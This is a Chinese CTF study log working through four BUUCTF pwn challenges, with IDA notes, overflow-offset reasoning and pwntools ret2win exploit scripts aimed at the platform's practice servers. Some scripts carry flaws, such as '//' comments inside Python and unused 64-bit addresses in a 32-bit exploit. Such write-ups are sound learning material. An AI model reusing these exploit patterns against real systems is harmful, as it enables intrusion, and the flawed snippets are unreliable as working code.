buupwn学习记录

buupwn学习记录

十一月 25, 2022

一、rip

进入ida,F12,找后门函数的位置:0X401186
在这里插入图片描述
然后就是找栈溢出:
ps:32位程序中ebp为4个字节,64位中ebp为8个字节
发现有危险函数gets:
溢出的字符长度是F+8 = 23

1
2
3
4
5
6
7
char s; // [rsp+1h] [rbp-Fh]

puts("please input");//Gets函数不限制输入的字符数量,可以无限的输入
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;

在这里插入图片描述
exp:

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn',26593)
sys_addr= 0x40118A//后门函数命令
payload= b'a'*(0xF+8) + p64(sys_addr)
p.sendline(payload)
p.interactive()

exp:

1
2
3
4
5
6
7
from pwn import *
p = remote('node4.buuoj.cn',26593)
sys_addr= 0x401186//后门函数所在的函数的地址
rt_addr= 0x401185//return地址
payload= b'a'*(0xF+8) + p64(rt_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()

二、warmup_csaw_2016

在这里插入图片描述
老样子,找后门函数,找了个cat命令
在这里插入图片描述
然后看溢出点:
是40+8
在这里插入图片描述
在这里插入图片描述

exp:

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn',29407)
sys_addr= 0x400611#也可以换成这个命令所在的函数地址40060D
payload= b'a'*(0x40+8) + p64(sys_addr)
p.sendline(payload)
p.interactive()

三、ciscn_2019_n_1

在这里插入图片描述
先找关键代码,再看溢出:
在这里插入图片描述
在这里插入图片描述

exp:

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn',27561)
sys_addr= 0x4006BE
payload= b'a'*(0x30+8) + p64(sys_addr)
p.sendline(payload)
p.interactive()

exp:

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn',27561)
sys_addr= 0x4006BE
payload= b'a'*(0x30-4) + p32(0x41348000)#也可以直接利用if条件,覆盖v2的值,把正确的v2覆盖上去
p.sendline(payload)
p.interactive()

四、pwn1_sctf_2016

在这里插入图片描述
这次是32位的了,但是有个NX保护

NX保护就是CPU不会执行放在内存段中的代码,也就是我们之前在BOF中学习的像内存中写入Shell的方法,在开启NX后是不可行的

在这里插入图片描述
在这里插入图片描述
核心代码的意思是:将l转为you三个字节
fgets函数限制我们输入32的字节,但是溢出需要3C(60)字节,所以输入20个l即可,然后又是32位程序,再覆盖4个字节旧ebp,所以是21(0x15)+1.

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote('node4.buuoj.cn',27948)
sys_addr= 0x8048F0D
rt_addr= 0x401185
rt_addr1=0x400794
rt_addr2=0x40120C
rt_addr3=0x4011FC
payload= b'I'*(0x15) + b'a' + p32(sys_addr)
p.sendline(payload)
p.interactive()

string& operator= (const string& str); 字符串赋值 为字符串分配一个新值,替换其当前内容。
std::allocator::allocator:分配内存;汉译allocato>>分配器